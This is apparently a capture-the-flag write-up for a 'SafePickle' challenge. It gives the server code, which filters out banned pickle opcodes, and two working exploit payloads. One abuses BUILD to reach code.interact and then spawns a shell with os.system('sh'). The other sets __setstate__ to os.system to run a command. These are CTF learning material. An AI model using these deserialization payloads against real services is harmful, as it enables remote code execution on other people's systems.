SafePickle
Attachment:
import pickle, pickletools
BANNED_OPS = [
"EXT1",
"EXT2",
"EXT4",
"REDUCE",
"INST",
"OBJ",
"PERSID",
"BINPERSID",
]
data = bytes.fromhex(input("input pickle (hex)> "))
try:
for opcode, arg, pos in pickletools.genops(data):
if opcode.name in BANNED_OPS:
print(f"Banned opcode used: {opcode.name}")
exit(0)
except Exception as e:
print("Error :(")
exit(0)
print(pickle.loads(data))
Requirements:
- Pickle without
EXT1/EXT2/EXT4/REDUCE/INST/OBJ/PERSID/BINPERSID: useBUILDforlicense._Printer__setup = code.interactandprint(license)to runcode.interact
Attack script:
from pwn import *
from pickle import *
import pickletools
context(log_level="debug")
payload = (
# memo 1 = license
(GLOBAL + b"builtins\nlicense\n" + PUT + b"1\n")
# memo 2 = code.interact
+ (GLOBAL + b"code\ninteract\n" + PUT + b"2\n")
# license._Printer__setup = code.interact
+ (
GET
+ b"1\n"
+ NONE
+ MARK
+ UNICODE
+ b"_Printer__setup\n"
+ GET
+ b"2\n"
+ DICT
+ TUPLE2
+ BUILD
+ POP
)
# return license
+ GET + b"1\n"
+ STOP
)
if args.HOST:
p = remote(args.HOST, args.PORT)
else:
p = process(["python3", "server.py"])
p.sendline(payload.hex().encode())
p.recvuntil(b">>>")
p.sendline(b"import os;os.system('sh')")
p.interactive()
Solutions on Discord:
@bylal:
import pickle
# We use Exception because it's a built-in class that allows NEWOBJ
# and has a __dict__ we can manipulate with BUILD.
payload = b'\x80\x04' # Protocol 4
payload += b'cbuiltins\nException\n' # Push Exception class
payload += b')' # EMPTY_TUPLE
payload += b'\x81' # NEWOBJ: Create Exception instance
payload += b'}' # EMPTY_DICT
payload += b'(' # MARK
payload += b'S"__setstate__"\n' # Key
payload += b'cos\nsystem\n' # Value: os.system
payload += b'u' # SETITEMS: {'__setstate__': os.system}
payload += b'b' # BUILD: sets instance.__setstate__ = os.system
payload += b'Vcat flag.txt\n' # The command string
payload += b'b' # BUILD: calls instance.__setstate__("cat flag.txt")
payload += b'.' # STOP
print(payload.hex())